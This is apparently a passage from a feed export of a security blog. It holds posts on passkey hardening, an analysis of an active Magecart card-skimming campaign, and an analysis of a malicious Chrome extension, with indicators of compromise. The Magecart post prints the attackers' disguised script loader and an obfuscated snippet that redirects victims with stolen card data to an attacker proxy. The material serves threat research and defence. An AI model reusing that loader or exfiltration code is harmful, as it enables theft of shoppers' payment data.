go here, but nonetheless, there's a lot we can do! Tactics like context-aware output encoding, avoiding dangerous DOM sinks, validating and sanitising input, and using modern frameworks safely should all feature high on your list of protections. Finally, of course, is Content Security Policy. A strict CSP is one of the strongest controls available for reducing the exploitability of XSS and acts as your final line of defence before bad things happen. Blocking inline scripts, restricting script sources, and removing dangerous execution paths like <code>eval()</code>, all materially improve your resilience. CSP will not compensate for insecure code, and it isn't meant to, but it can significantly constrain what an attacker can do.</p><p>Following on from a robust CSP, we have Permissions Policy, which is often overlooked. In Passkeys-enabled applications, restricting access to <code>publickey-credentials-get</code> and <code>publickey-credentials-create</code> allows us to control access to WebAuthn API / Credential Management calls. Permissions Policy does not prevent injection, but it does reduce the capabilities available to injected code and helps enforce least privilege across pages and origins. A simple config might look like this delivered as a HTTP response header:</p><p></p><pre><code class=\"language-`\">Permissions-Policy: publickey-credentials-create=(self), publickey-credentials-get=(self)</code></pre><p></p><p>Then there is security of the cookie itself. I wrote about this all the way back in 2017 in a blog post called <a href=\"https://scotthelme.co.uk/tough-cookies/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Tough Cookies</a>, but here's a quick summary for you. Session cookies should be <code>HttpOnly</code>, <code>Secure</code>, have an appropriate <code>SameSite</code> policy and use at least the <code>__Secure-</code> prefix (or <code>__Host-</code> prefix where possible).</p><p>Finally, sensitive actions need stronger guarantees than “the user has an active session”. High-risk operations such as transferring money, changing recovery settings, or managing credentials should require a fresh authentication challenge to ensure that the user is the one at the keyboard initiating the action.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/fort-sharp-duotone-solid.png\" class=\"kg-image\" alt=\"Security considerations when using Passkeys on your website\" loading=\"lazy\" width=\"256\" height=\"256\"></figure><p></p><h3 id=\"read-our-whitepaper\">Read our whitepaper</h3><p>If you want more information to really understand the threats that exist in a Passkeys enabled environment, you can download a copy of our white paper that contains detailed information on the problem and the solutions. You can find the white paper on our Passkeys solutions page: <a href=\"https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io\">https://report-uri.com/solutions/passkeys_protection</a></p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            },
            {
              "label": "XSS",
              "term": "XSS",
              "url": null
            },
            {
              "label": "CSP",
              "term": "CSP",
              "url": null
            },
            {
              "label": "Permissions Policy",
              "term": "Permissions Policy",
              "url": null
            }
          ]
        },
        {
          "id": "69d3d19ad459c7000106a3c5",
          "title": "Fighting an active Magecart Campaign",
          "description": "<p>We’ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What</p>",
          "url": "https://scotthelme.ghost.io/fighting-an-active-magecart-campaign/",
          "published": "2026-04-13T10:48:19.000Z",
          "updated": "2026-04-13T10:48:19.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png\" alt=\"Fighting an active Magecart Campaign\"><p>We’ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What we found was a live payment skimmer injecting fake payment forms, stealing card data, and adapting its exfiltration flow when defensive controls got in the way.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-6.png\" class=\"kg-image\" alt=\"Fighting an active Magecart Campaign\" loading=\"lazy\" width=\"681\" height=\"98\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-6.png 681w\"></a></figure><p></p><h3 id=\"the-magecart-threat\">The Magecart Threat</h3><p>If you're not familiar with Magecart, we have a <a href=\"https://report-uri.com/solutions/magecart_protection?ref=scotthelme.ghost.io\" rel=\"noreferrer\">dedicated solutions page</a> for it on the Report URI website where you can read more details, but here's the TLDR;</p><p><em>Attackers find a way to run malicious JavaScript in your site, then use it to steal payment data entered by your visitors.</em></p><p>It is one of the most dangerous forms of client-side compromise because it often leaves little visible trace for the site owner while quietly capturing highly sensitive information.</p><p></p><h3 id=\"the-initial-compromise\">The initial compromise</h3><p>There are many ways that you may initially be compromised, from a traditional XSS attack through to a supply chain compromise, but really, it doesn't matter how they get their malicious JavaScript in, once the attackers have JS on your page, you have a big problem.</p><p>The recent attack we've been tracking starts with this, a simple script injection in <code><head></code>, which I've prettified here for you.</p><p></p><pre><code class=\"language-js \">  !function(e, a, n, t, o, r, c) {\n    e.GoogleTagManagerLoaderScript = o;        // sets window.GoogleTagManagerLoaderScript = \"always\"\n    r = a.createElement(t),                    // creates a <script> element\n    c = a.getElementsByTagName(t)[0],          // finds first <script> in page\n    r.async = 1,                               // async load\n    r.src = e.atob(\"*snip base64*\"),           // decodes base64 URL → script source\n    c.parentNode.insertBefore(r, c)            // injects before first script tag\n  }(window, document, 0, \"script\", \"always\");</code></pre><p></p><p></p><p>What makes this especially effective is how ordinary it looks. Anyone who has spent time inspecting the DOM will have seen almost this exact pattern before. It deliberately mimics the real GTM loader: the same argument structure, the same DOM insertion technique, and the same overall shape. The key difference is that instead of loading <code>gtm.js</code>, it base64-decodes a malicious URL at runtime and injects attacker-controlled JavaScript instead.</p><p>If you base64 decode the URL, it points to a new domain, registered for these attacks, and serves specific payloads on a per-target basis depending on the site name in the path component. Here's a screenshot of the malware payload:</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-5.png\" class=\"kg-image\" alt=\"Fighting an active Magecart Campaign\" loading=\"lazy\" width=\"1301\" height=\"817\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-5.png 1301w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"targeted-attack\">Targeted attack</h3><p>Because the payload is customised per target, it includes a number of more advanced behaviours:</p><p></p><p><strong>Admin detection</strong> - before running, the script uses various techniques to detect if the current site visitor is a WordPress, Magento, PrestaShop, or OpenCart administrator, and if they are, it silently exits. This is a deliberate evasion technique so that store owners who are testing their own site will not see any malicious behaviour.</p><p><strong>Anti-debugging</strong> - the script times a debugger statement using <code>performance.now()</code> and if the elapsed time exceeds the set threshold, indicating a debugger is attached, it sets a flag in <code>localStorage</code> and permanently disables the malware in that browser by setting the <code>already_checked</code> flag.</p><p><strong>Platform fingerprinting</strong> - the script identifies if the ecommerce platform in use is one of WooCommerce, Magento, OpenCart, or PrestaShop, and then applies the correct field selectors and event hooks for that specific platform.</p><p></p><p>This is not a generic opportunistic skimmer. It is a targeted and more capable malware payload designed to evade detection and adapt to the environment it lands in.</p><p></p><h3 id=\"skimmer-activation\">Skimmer activation</h3><p>Once the skimmer is active on a checkout page, it injects a fake payment form into the page, styled to match the original payment form exactly. It will then hook all of the form inputs and select fields which are written to <code>localStorage</code> as the user interacts with them. The submission of the form is then intercepted and the stolen data is exfiltrated, both with a variety of methods depending on the platform being used. One way or another, the skimmer is going to try and grab the data and then exfiltrate it to the drop server controlled by the attackers! But it's this final part that caught my eye...</p><p></p><h3 id=\"the-csp-bypass\">The CSP Bypass</h3><p>One detail stood out in the payload: the malware explicitly contained logic labelled as a “CSP bypass”. In reality, this was not a direct defeat of CSP enforcement so much as an adaptive theft technique. When direct exfiltration looked risky, the malware redirected the victim to attacker-controlled infrastructure with the stolen payment data embedded in the URL, then bounced them back to the legitimate site.</p><p></p><pre><code class=\"language-js\">  if(_0x4bb993['enableCspBypass']&&_0x4bb993['cspProxyUrl']) {\n    _0x2a3ee8()&&(console['log']('[CSP BYPASS] Redirecting to proxy page...'),console['log']('[CSP\\x20BYPASS]\\x20Proxy\\x20URL:',_0x4bb993['cspProxyUrl']),console['log']('[CSP BYPASS] Data (base64):',_0xb0be14));\n    localStorage['setItem']('already_checked','1');\n    const _0x210768=_0x4bb993['cspProxyUrl']+'?data='+encodeURIComponent(_0xb0be14);\n    window['location']['href']=_0x210768;\n    return;\n  }</code></pre><p></p><p></p><p>In other words, the malware was adapting its exfiltration path when it detected an environment where CSP might make a more direct route less reliable. It captured the form submission, encoded the stolen payment data, and sent the victim through attacker infrastructure using <code>window.location.href</code>, with the data passed in the request before returning them to the real site.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-7.png\" class=\"kg-image\" alt=\"Fighting an active Magecart Campaign\" loading=\"lazy\" width=\"1212\" height=\"237\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-7.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-7.png 1212w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>The attacker now has the stolen credit card data and the endpoint then redirects the user back to the correct page on the target site, making the process completely invisible to the user. Here's a payment I tried to submit using fake credit card details on the live site:</p><p></p><pre><code class=\"language-json\">{\n  \"domain\":\"https://www.*snip*.com\",\n  \"data\" : {\n    \"uagent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\",\n    \"card\":\"4242424242424242\",\n    \"exp\":\"03/27\",\n    \"cvv\":\"144\"\n  }\n}</code></pre><p></p><p></p><p>Calling this a “CSP bypass” is slightly misleading. The more important lesson is that once hostile JavaScript is running in the browser, attackers still have a great deal of flexibility in how they capture and move stolen data. That adaptability is exactly what makes these attacks so dangerous.</p><p></p><h3 id=\"ongoing-threat\">Ongoing threat</h3><p>This campaign is still ongoing. While we continue working to understand the wider impact, our visibility naturally allows us to notify only a subset of potentially affected organisations directly. By publishing these findings, and reporting the infrastructure involved, we hope to help defenders identify and disrupt the campaign more broadly.</p><p></p><h3 id=\"what-defenders-should-do-now\">What defenders should do now</h3><p>If you run an ecommerce site, there are a few immediate checks worth making:</p><ul><li>Review any recent changes to scripts loaded on checkout and payment pages.</li><li>Search logs, telemetry, and browser-side monitoring data for requests involving <code>styleoutsperee.com</code>.</li><li>Investigate unexpected redirects or unusual navigation during payment submission flows.</li><li>Check whether any third-party or injected JavaScript could have accessed payment form fields in the browser.</li></ul><p>Even when the server-side environment looks clean, browser-side visibility can reveal malicious behaviour that would otherwise go unnoticed.</p><p></p><h3 id=\"indicators-of-compromise\">Indicators of Compromise</h3><p>Here are the details:</p><p>Domain: <code>styleoutsperee.com</code> (registered 15th Feb 2026)<br></p><p>If you want visibility into threats like this on your own site, you can start a 30-day free trial at <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>. Our <a href=\"https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io\" rel=\"noreferrer\">JavaScript Integrity Monitoring</a> solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry almost immediately.</p><p></p><p></p>\n<!--kg-card-begin: html-->\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css\" integrity=\"sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\">\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js\" integrity=\"sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-json.min.js\" integrity=\"sha512-QXFMVAusM85vUYDaNgcYeU3rzSlc+bTV4JvkfJhjxSHlQEo+ig53BtnGkvFTiNJh8D+wv6uWAQ2vJaVmxe8d3w==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<style>\n  pre[class*=\"language-\"] {\n      font-size: 0.75em;\n  }\n</style>\n<!--kg-card-end: html-->",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": []
        },
        {
          "id": "69d391eed459c7000106a2f7",
          "title": "Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser",
          "description": "<p>We recently uncovered a malicious browser extension affecting visitors to customer websites. It injected JavaScript into pages, hijacked outbound clicks through affiliate infrastructure, and quietly monetised user traffic. We spotted it not because a website was compromised, but because we monitor what code actually executes in the browser.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png\" class=\"kg-image\" alt loading=\"lazy\" width=\"681\" height=\"98\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png 681w\"></a></figure><p></p><p>Even though</p>",
          "url": "https://scotthelme.ghost.io/amazing-refresh-a-malicious-chrome-extension-running-malware-in-the-browser/",
          "published": "2026-04-07T15:05:57.000Z",
          "updated": "2026-04-07T15:05:57.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png\" alt=\"Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser\"><p>We recently uncovered a malicious browser extension affecting visitors to customer websites. It injected JavaScript into pages, hijacked outbound clicks through affiliate infrastructure, and quietly monetised user traffic. We spotted it not because a website was compromised, but because we monitor what code actually executes in the browser.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png\" class=\"kg-image\" alt=\"Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser\" loading=\"lazy\" width=\"681\" height=\"98\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png 681w\"></a></figure><p></p><p>Even though the customers' website and supply chain were not compromised, the browser was still executing unauthorised JavaScript in the context of their site. That meant we could still see it. From the website owner’s point of view, this is outsourced client-side compromise: your visitors can be manipulated, redirected, and monetised while they are on your site, and you may never know it is happening.</p><p></p><h3 id=\"how-we-do-it\">How we do it</h3><p>We collect and process a huge volume of telemetry data at Report URI, and sometimes that data reveals serious problems. Our main goal is to identify malicious behaviour in the JavaScript running on our customers’ websites, often introduced by traditional attacks like XSS or, more recently, supply-chain compromise. Sometimes, though, the malicious code does not come from the site or its supply chain at all. It comes from the client.</p><p></p><h3 id=\"browser-extensions\">Browser Extensions</h3><p>The <em>only</em> browser extension that I run is the 1Password extension to integrate with my password manager, that's it. I do not run, and will not run, any other browser extension simply because they terrify me. I don't feel like many people fully understand the access to your data that a browser extension has. The ability to see what's on the page, see what you're typing, change what you see, interact with the DOM, and so much more. Browser extensions are effectively all-powerful and can do almost whatever they want. That's awesome when they provide legitimate, useful functionality, but you have a really big problem when the extension wants to do something less noble.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-4.png\" class=\"kg-image\" alt=\"Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser\" loading=\"lazy\" width=\"537\" height=\"170\"></figure><p></p><h3 id=\"amazing-refresh\">Amazing Refresh</h3><p>Amazing Refresh presents itself as a simple tab auto-refresher, allowing users to set pages to automatically reload at a defined interval. While this functionality is real and works as advertised, it serves primarily as cover for a sophisticated malware operation running silently in the background.</p><p>Every time a user navigates to any page in any tab, the extension fires a POST request to <code>api.amazingrefresh.com/v1/reload</code>, exfiltrating:</p><ul><li>The current page URL</li><li>The previous page URL (tracking navigation paths across sites)</li><li>Window dimensions and user agent</li><li>Every element ID present on the page</li><li>A unique client identifier tied to the user's Google Analytics profile</li></ul><p></p><p>Here's a screenshot of the behaviour firing the request in my local Sandbox.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/Screenshot-2026-04-06-120803.png\" class=\"kg-image\" alt=\"Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser\" loading=\"lazy\" width=\"1609\" height=\"993\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/Screenshot-2026-04-06-120803.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/Screenshot-2026-04-06-120803.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/04/Screenshot-2026-04-06-120803.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/Screenshot-2026-04-06-120803.png 1609w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"script-injection\">Script injection</h3><p>The extension injects a <code><script></code> tag directly into every page the user visits, running in the MAIN world — the same execution context as the page itself, bypassing Chrome's content script sandbox. The script injected is whatever URL the C&C server has most recently instructed it to use, stored in <code>chrome.storage.local</code>.</p><p>The default fallback script bundled with the extension (<code>js/reload_helper.js</code>) suppresses <code>beforeunload</code> dialog prompts — the \"are you sure you want to leave?\"<br>browser warnings. This is not accidental; it exists to make redirects performed by the injected payload seamless and invisible to the user. It's these script injections and external communications to GA that we were detecting and alerting on at Report URI.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-2.png\" class=\"kg-image\" alt=\"Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser\" loading=\"lazy\" width=\"1355\" height=\"547\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-2.png 1355w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"the-malicious-payload\">The malicious payload</h3><p>The remotely-delivered script that we observed being served from <code>amazingrefresh.com/js/reload_helper.js</code> is a sophisticated affiliate hijacker that steps through the following process at the time of inspection:</p><p></p><ol><li>Geolocates the user via <code>meetlookup.com</code></li><li>Fetches a list of affiliate domains from a CDN (<code>1752680588.rsc.cdn77.org</code>)</li><li>Intercepts all link clicks on the page</li><li>When a clicked link matches a known affiliate domain, redirects it through <code>advertisingshubb.com/pg/</code> — an affiliate tracking gateway — monetising the click<br>without the knowledge of the user or website owner</li><li>Uses cookies to track which offers have been shown and clicked, with deduplication logic to avoid repeat redirects to the same offer</li><li>Selects and prioritises offers based on the user's country, custom rates, PPS and PPL values</li></ol><p></p><h3 id=\"evasion-techniques\">Evasion techniques</h3><p>The browser extension and its behaviour are deliberately designed to avoid detection, which makes sense, and is likely how it has managed to get to almost 100,000 active installs. The extension package itself contains only innocuous looking code, so after unpacking and analysing the included code, there are no immediate alarm bells. The malicious JS payload lives on <code>amazingrefresh.com</code> and is served to the client dynamically only when certain conditions are met, further limiting the ability to detect the malicious behaviour. The malicious code:</p><p></p><ul><li>Uses session storage to ensure it only runs once per page load </li><li>Suppresses page-leave prompts to hide redirects from the user</li><li>The payload removes itself from the DOM</li><li>Fingerprints the depth of iframes, possibly to avoid analysis</li><li>Suppresses click events so other analytics don't see them</li><li>Hides the entire page during a redirect</li></ul><p></p><p>On top of all of that, and I think quite interesting, they're using Google Analytics to monitor their infected user base, firing an event every 60 minutes to keep track of how many infected devices there are!</p><p></p><h3 id=\"impact-on-website-owners\">Impact on website owners</h3><p>We detected this attack because we're closely monitoring the JavaScript running on our customers' websites, and as I said at the start, we're typically looking out for traditional XSS attacks or supply chain compromise. The injection of this malicious JavaScript is happening entirely client-side, in the browser of the visitor, but we still have visibility of what's happening because of how our product works. For many products out there, this would be impossible to detect or monitor.</p><p>From our customers' perspective, outbound links on their site are being silently hijacked and monetised by a third-party, without their knowledge or consent. Visitors are being redirected through affiliate networks, potentially to different destinations than intended. The C&C architecture also means that the payload can be changed at any time to deliver anything from more aggressive adware, credential harvesting, a Magecart credit card skimmer, or just about anything that you could imagine. Whilst this doesn't represent a compromise of our customers' website, or their supply chain, this still raises genuine concerns that need to be addressed.</p><p></p><h3 id=\"reporting-the-malicious-extensions\">Reporting the malicious extensions</h3><p>This extension is available for both Chrome and Edge, and we have reported it to both browser vendors including evidence of the malicious behaviour. Given that it appears to have almost 100,000 users across both browsers, I hope they can move quickly to remove the extension from the stores and affected devices. This will benefit not only those visitors to our customers' websites, but the wider ecosystem as a whole as we work to remove this malicious behaviour and protect all involved. </p><p>This capability aligns well with our goal of making the web safer for everyone, not just our customers, and is something that we have been working on for over a decade. My first blog post on detecting and blocking client-side compromise like this was in 2015(!), <a href=\"https://scotthelme.co.uk/combat-ad-injectors-with-csp/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Combat ad-injectors with CSP</a>, and in 2017 I followed that up with <a href=\"https://scotthelme.co.uk/combat-ad-injectors-with-csp/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Malware hunting with CSP</a>. Along the way, we have also detected and reported many browser extensions that introduced malicious behaviour, just as we have done here. When we come across more interesting cases like this one, I plan to start writing about them and sharing the details, primarily because I think these cases are genuinely interesting, but also because they help demonstrate some of our lesser-known capabilities at Report URI. </p><p></p><h3 id=\"indicators-of-compromise\">Indicators of Compromise</h3><p>The key indicators are:</p><p>Chrome extension: <a href=\"https://chromewebstore.google.com/detail/amazing-auto-refresh/lgjmjfjpldlhbaeinfjbgokoakpjglbn?ref=scotthelme.ghost.io\" rel=\"noreferrer\">link</a><br>Edge extension: <a href=\"https://microsoftedge.microsoft.com/addons/detail/auto-refresh/kjkdocnbigcddlnghfiphgfflkooidhc?ref=scotthelme.ghost.io\" rel=\"noreferrer\">link</a><br>Extension name: <strong>Amazing Refresh</strong><br>Injected script host: <code>amazingrefresh.com</code> (domain registered 19th Feb 2026)<br>C&C server: <code>api.amazingrefresh.com</code><br>Affiliate gateway: <code>advertisingshubb.com</code> (domain registered 3rd Oct 2025)<br>CDN: <code>1752680588.rsc.cdn77.org</code><br>Geo lookup: <code>meetlookup.com</code><br>Injected script element ID: <code>aar_main_script</code> <br>Google Ads Measurement ID: <code>G-11RPB8CJ47</code></p><p></p><p>If you want advanced threat detection and monitoring capabilities like this on your own site, you can head over to <a href=\"https://report-uri.com/?utm_source=scotthelme.co.uk\">https://report-uri.com</a> and start a 30-day free trial. Our <a href=\"https://report-uri.com/solutions/javascript_integrity_monitoring?utm_source=scotthelme.co.uk\">JavaScript Integrity Monitoring</a> solution shouldn't take more than 60 seconds to deploy and you can start gathering your first data.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "javascript",
              "term": "javascript",
              "url": null
            },
            {
              "label": "malware",
              "term": "malware",
              "url": null
            }
          ]
        },
        {
          "id": "69c7c509d57e1400017a6513",
          "title": "Bringing in the experts; Having our Passkeys implementation Security Tested",
          "description": "<p>We recently announced support for Passkeys on your Report URI account, and everyone should go and enable Passkeys for the amazing security benefits they offer. As a new implementation of an authentication technology, we wanted to be sure that everything was as secure as it should be for our customer&</p>",
          "url": "https://scotthelme.ghost.io/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/",
          "published": "2026-04-02T13:06:02.000Z",
          "updated": "2026-04-02T13:06:02.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png\" alt=\"Bringing in the experts; Having our Passkeys implementation Security Tested\"><p>We recently announced support for Passkeys on your Report URI account, and everyone should go and enable Passkeys for the amazing security benefits they offer. As a new implementation of an authentication technology, we wanted to be sure that everything was as secure as it should be for our customer's accounts, so we brought in an external party to test our implementation.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-4.png\" class=\"kg-image\" alt=\"Bringing in the experts; Having our Passkeys implementation Security Tested\" loading=\"lazy\" width=\"974\" height=\"141\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-4.png 974w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"our-annual-penetration-tests\">Our annual penetration tests</h3><p>Regular readers will know that Report URI already has an annual penetration test and we now have <a href=\"https://scotthelme.co.uk/tag/penetration-test/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">6 years worth of reports</a> publicly available for anyone to review and see what issues were found, and how we handled them. That annual review is there to make sure that our internal processes designed to keep our product secure are working and that nothing has slipped through. Our next penetration test is due in Nov/Dec 2026 to stick with our annual schedule, and whilst our application is constantly changing and evolving, Passkeys felt like a big enough change that it was worth getting it tested immediately as it touched our critical authentication flow. If you'd like a brief introduction to Passkeys and how they work, you can refer to our launch blog post which has some high level details and diagrams.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://pentest.co.uk/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/pentest-limited-logo.png\" class=\"kg-image\" alt=\"Bringing in the experts; Having our Passkeys implementation Security Tested\" loading=\"lazy\" width=\"300\" height=\"101\"></a></figure><p></p><h3 id=\"engaging-with-pentest\">Engaging with Pentest</h3><p>Normally, when we engage with our penetration testing company, <a href=\"https://pentest.co.uk/?ref=scotthelme.ghost.io\" 